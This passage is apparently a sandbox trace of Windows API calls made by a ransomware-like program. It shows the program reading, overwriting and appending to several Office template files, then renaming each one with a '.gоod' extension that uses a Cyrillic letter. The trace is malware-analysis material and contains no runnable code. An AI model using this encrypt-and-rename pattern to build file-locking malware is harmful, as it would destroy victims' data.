lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0225.675] ReadFile (in: hFile=0x828, lpBuffer=0x375a510, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x375a510*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0225.986] CloseHandle (hObject=0x828) returned 1 [0225.986] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx", lpFilePart=0x0) returned 0x4c [0225.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0225.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\classicphotoalbum.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0225.988] GetFileType (hFile=0x828) returned 0x1 [0225.988] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0225.988] GetFileType (hFile=0x828) returned 0x1 [0225.988] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x125418 [0226.002] WriteFile (in: hFile=0x828, lpBuffer=0x36eee18*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x36eee18*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0226.004] CloseHandle (hObject=0x828) returned 1 [0226.004] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx", lpFilePart=0x0) returned 0x4c [0226.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0226.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\classicphotoalbum.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0226.004] GetFileType (hFile=0x828) returned 0x1 [0226.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0226.004] GetFileType (hFile=0x828) returned 0x1 [0226.004] ReadFile (in: hFile=0x828, lpBuffer=0x36f1438, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x36f1438*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0226.088] CloseHandle (hObject=0x828) returned 1 [0226.088] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx", lpFilePart=0x0) returned 0x4c [0226.088] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0226.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\classicphotoalbum.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0226.088] GetFileType (hFile=0x828) returned 0x1 [0226.088] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0226.088] GetFileType (hFile=0x828) returned 0x1 [0226.088] WriteFile (in: hFile=0x828, lpBuffer=0x36f0170*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x36f0170*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0226.088] CloseHandle (hObject=0x828) returned 1 [0226.088] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx", lpFilePart=0x0) returned 0x4c [0226.089] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx.gоod", lpFilePart=0x0) returned 0x51 [0226.089] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0226.089] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\classicphotoalbum.potx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x82f7c5a4, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x125428)) returned 1 [0226.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0226.089] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\classicphotoalbum.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ClassicPhotoAlbum.potx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\classicphotoalbum.potx.gоod")) returned 1 [0227.314] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx", lpFilePart=0x0) returned 0x51 [0227.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0227.314] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\contemporaryphotoalbum.potx"), fInfoLevelId=0x0, lpFileInformation=0x37d2bf8 | out: lpFileInformation=0x37d2bf8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x95482)) returned 1 [0227.712] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0227.712] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx", lpFilePart=0x0) returned 0x51 [0227.712] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0227.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\contemporaryphotoalbum.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0227.714] GetFileType (hFile=0x808) returned 0x1 [0227.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0227.714] GetFileType (hFile=0x808) returned 0x1 [0227.714] SetFilePointer (in: hFile=0x808, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0227.714] ReadFile (in: hFile=0x808, lpBuffer=0x3909170, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3909170*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0227.717] CloseHandle (hObject=0x808) returned 1 [0227.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx", lpFilePart=0x0) returned 0x51 [0227.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0227.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\contemporaryphotoalbum.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0227.718] GetFileType (hFile=0x808) returned 0x1 [0227.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0227.718] GetFileType (hFile=0x808) returned 0x1 [0227.718] SetFilePointer (in: hFile=0x808, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x95482 [0227.718] WriteFile (in: hFile=0x808, lpBuffer=0x390a670*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x390a670*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0227.719] CloseHandle (hObject=0x808) returned 1 [0227.720] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx", lpFilePart=0x0) returned 0x51 [0227.720] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0227.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\contemporaryphotoalbum.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0227.720] GetFileType (hFile=0x808) returned 0x1 [0227.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0227.720] GetFileType (hFile=0x808) returned 0x1 [0227.720] ReadFile (in: hFile=0x808, lpBuffer=0x390ca80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x390ca80*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0227.757] CloseHandle (hObject=0x808) returned 1 [0227.757] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx", lpFilePart=0x0) returned 0x51 [0227.757] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0227.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\contemporaryphotoalbum.potx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0227.758] GetFileType (hFile=0x808) returned 0x1 [0227.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0227.758] GetFileType (hFile=0x808) returned 0x1 [0227.758] WriteFile (in: hFile=0x808, lpBuffer=0x390b7a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x390b7a8*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0227.758] CloseHandle (hObject=0x808) returned 1 [0227.758] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx", lpFilePart=0x0) returned 0x51 [0227.758] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx.gоod", lpFilePart=0x0) returned 0x56 [0227.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0227.758] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\contemporaryphotoalbum.potx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x83f6e15f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x95492)) returned 1 [0227.758] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0227.758] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\contemporaryphotoalbum.potx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ContemporaryPhotoAlbum.potx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\contemporaryphotoalbum.potx.gоod")) returned 1 [0227.759] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx", lpFilePart=0x0) returned 0x4a [0227.759] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0227.759] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3988ee8 | out: lpFileInformation=0x3988ee8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1e536)) returned 1 [0228.089] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0228.143] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx", lpFilePart=0x0) returned 0x4a [0228.176] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0228.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0228.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0228.642] GetFileType (hFile=0x828) returned 0x1 [0228.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0228.642] GetFileType (hFile=0x828) returned 0x1 [0228.642] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0228.643] ReadFile (in: hFile=0x828, lpBuffer=0x35a6d58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x35a6d58*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0228.644] CloseHandle (hObject=0x828) returned 1 [0228.644] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx", lpFilePart=0x0) returned 0x4a [0228.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0228.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0228.644] GetFileType (hFile=0x828) returned 0x1 [0228.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0228.644] GetFileType (hFile=0x828) returned 0x1 [0228.644] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1e536 [0228.644] WriteFile (in: hFile=0x828, lpBuffer=0x35a8008*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x35a8008*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0228.645] CloseHandle (hObject=0x828) returned 1 [0228.645] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx", lpFilePart=0x0) returned 0x4a [0228.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0228.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0228.646] GetFileType (hFile=0x828) returned 0x1 [0228.646] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0228.646] GetFileType (hFile=0x828) returned 0x1 [0228.646] ReadFile (in: hFile=0x828, lpBuffer=0x35aa2e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x35aa2e0*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0229.023] CloseHandle (hObject=0x828) returned 1 [0229.023] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx", lpFilePart=0x0) returned 0x4a [0229.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0229.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0229.023] GetFileType (hFile=0x828) returned 0x1 [0229.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0229.023] GetFileType (hFile=0x828) returned 0x1 [0229.023] WriteFile (in: hFile=0x828, lpBuffer=0x358ee68*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x358ee68*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0229.023] CloseHandle (hObject=0x828) returned 1 [0229.023] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx", lpFilePart=0x0) returned 0x4a [0229.023] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx.gоod", lpFilePart=0x0) returned 0x4f [0229.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0229.023] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialletter.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb760eed, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb760eed, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x84b8fbd7, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1e546)) returned 1 [0229.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0229.023] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialLetter.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialletter.dotx.gоod")) returned 1 [0229.025] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx", lpFilePart=0x0) returned 0x4a [0229.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0229.025] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialreport.dotx"), fInfoLevelId=0x0, lpFileInformation=0x3669c00 | out: lpFileInformation=0x3669c00*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb73ac78, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb73ac78, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb760eed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbafe9)) returned 1 [0229.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0229.026] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx", lpFilePart=0x0) returned 0x4a [0229.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0229.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0229.026] GetFileType (hFile=0x828) returned 0x1 [0229.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0229.026] GetFileType (hFile=0x828) returned 0x1 [0229.026] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0229.026] ReadFile (in: hFile=0x828, lpBuffer=0x366a048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x366a048*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0229.028] CloseHandle (hObject=0x828) returned 1 [0229.028] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx", lpFilePart=0x0) returned 0x4a [0229.028] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0229.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\EssentialReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\essentialreport.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 